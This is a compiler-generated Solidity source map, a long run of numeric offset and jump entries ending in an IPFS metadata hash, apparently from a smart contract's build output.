3:32;;-1:-1:-1;;;806:315:1:o;1500:456::-;1577:6;1585;1593;1646:2;1634:9;1625:7;1621:23;1617:32;1614:52;;;1662:1;1659;1652:12;1614:52;1701:9;1688:23;1720:31;1745:5;1720:31;:::i;:::-;1770:5;-1:-1:-1;1827:2:1;1812:18;;1799:32;1840:33;1799:32;1840:33;:::i;:::-;1500:456;;1892:7;;-1:-1:-1;;;1946:2:1;1931:18;;;;1918:32;;1500:456::o;2150:247::-;2209:6;2262:2;2250:9;2241:7;2237:23;2233:32;2230:52;;;2278:1;2275;2268:12;2230:52;2317:9;2304:23;2336:31;2361:5;2336:31;:::i;2610:388::-;2678:6;2686;2739:2;2727:9;2718:7;2714:23;2710:32;2707:52;;;2755:1;2752;2745:12;2707:52;2794:9;2781:23;2813:31;2838:5;2813:31;:::i;:::-;2863:5;-1:-1:-1;2920:2:1;2905:18;;2892:32;2933:33;2892:32;2933:33;:::i;:::-;2985:7;2975:17;;;2610:388;;;;;:::o;3003:127::-;3064:10;3059:3;3055:20;3052:1;3045:31;3095:4;3092:1;3085:15;3119:4;3116:1;3109:15;3135:422;3224:1;3267:5;3224:1;3281:270;3302:7;3292:8;3289:21;3281:270;;;3361:4;3357:1;3353:6;3349:17;3343:4;3340:27;3337:53;;;3370:18;;:::i;:::-;3420:7;3410:8;3406:22;3403:55;;;3440:16;;;;3403:55;3519:22;;;;3479:15;;;;3281:270;;;3285:3;3135:422;;;;;:::o;3562:806::-;3611:5;3641:8;3631:80;;-1:-1:-1;3682:1:1;3696:5;;3631:80;3730:4;3720:76;;-1:-1:-1;3767:1:1;3781:5;;3720:76;3812:4;3830:1;3825:59;;;;3898:1;3893:130;;;;3805:218;;3825:59;3855:1;3846:10;;3869:5;;;3893:130;3930:3;3920:8;3917:17;3914:43;;;3937:18;;:::i;:::-;-1:-1:-1;;3993:1:1;3979:16;;4008:5;;3805:218;;4107:2;4097:8;4094:16;4088:3;4082:4;4079:13;4075:36;4069:2;4059:8;4056:16;4051:2;4045:4;4042:12;4038:35;4035:77;4032:159;;;-1:-1:-1;4144:19:1;;;4176:5;;4032:159;4223:34;4248:8;4242:4;4223:34;:::i;:::-;4293:6;4289:1;4285:6;4281:19;4272:7;4269:32;4266:58;;;4304:18;;:::i;:::-;4342:20;;3562:806;-1:-1:-1;;;3562:806:1:o;4373:140::-;4431:5;4460:47;4501:4;4491:8;4487:19;4481:4;4460:47;:::i;4518:168::-;4591:9;;;4622;;4639:15;;;4633:22;;4619:37;4609:71;;4660:18;;:::i;4691:356::-;4893:2;4875:21;;;4912:18;;;4905:30;4971:34;4966:2;4951:18;;4944:62;5038:2;5023:18;;4691:356::o;5404:251::-;5474:6;5527:2;5515:9;5506:7;5502:23;5498:32;5495:52;;;5543:1;5540;5533:12;5495:52;5575:9;5569:16;5594:31;5619:5;5594:31;:::i;6581:306::-;6669:6;6677;6685;6738:2;6726:9;6717:7;6713:23;6709:32;6706:52;;;6754:1;6751;6744:12;6706:52;6783:9;6777:16;6767:26;;6833:2;6822:9;6818:18;6812:25;6802:35;;6877:2;6866:9;6862:18;6856:25;6846:35;;6581:306;;;;;:::o;7171:277::-;7238:6;7291:2;7279:9;7270:7;7266:23;7262:32;7259:52;;;7307:1;7304;7297:12;7259:52;7339:9;7333:16;7392:5;7385:13;7378:21;7371:5;7368:32;7358:60;;7414:1;7411;7404:12;10311:125;10376:9;;;10397:10;;;10394:36;;;10410:18;;:::i;10796:135::-;10835:3;10856:17;;;10853:43;;10876:18;;:::i;:::-;-1:-1:-1;10923:1:1;10912:13;;10796:135::o;10936:128::-;11003:9;;;11024:11;;;11021:37;;;11038:18;;:::i;11069:217::-;11109:1;11135;11125:132;;11179:10;11174:3;11170:20;11167:1;11160:31;11214:4;11211:1;11204:15;11242:4;11239:1;11232:15;11125:132;-1:-1:-1;11271:9:1;;11069:217::o;11825:127::-;11886:10;11881:3;11877:20;11874:1;11867:31;11917:4;11914:1;11907:15;11941:4;11938:1;11931:15;11957:980;12219:4;12267:3;12256:9;12252:19;12298:6;12287:9;12280:25;12324:2;12362:6;12357:2;12346:9;12342:18;12335:34;12405:3;12400:2;12389:9;12385:18;12378:31;12429:6;12464;12458:13;12495:6;12487;12480:22;12533:3;12522:9;12518:19;12511:26;;12572:2;12564:6;12560:15;12546:29;;12593:1;12603:195;12617:6;12614:1;12611:13;12603:195;;;12682:13;;-1:-1:-1;;;;;12678:39:1;12666:52;;12773:15;;;;12738:12;;;;12714:1;12632:9;12603:195;;;-1:-1:-1;;;;;;;12854:32:1;;;;12849:2;12834:18;;12827:60;-1:-1:-1;;;12918:3:1;12903:19;12896:35;12815:3;11957:980;-1:-1:-1;;;11957:980:1:o;13532:287::-;13661:3;13699:6;13693:13;13715:66;13774:6;13769:3;13762:4;13754:6;13750:17;13715:66;:::i;:::-;13797:16;;;;;13532:287;-1:-1:-1;;13532:287:1:o;14228:297::-;14346:12;;14393:4;14382:16;;;14376:23;;14346:12;14411:16;;14408:111;;;-1:-1:-1;;14485:4:1;14481:17;;;;14478:1;14474:25;14470:38;14459:50;;14228:297;-1:-1:-1;14228:297:1:o

ipfs://ae09840314287f3deb80e880dd95e9e98690da53f1d9d1713ffd565f3294d422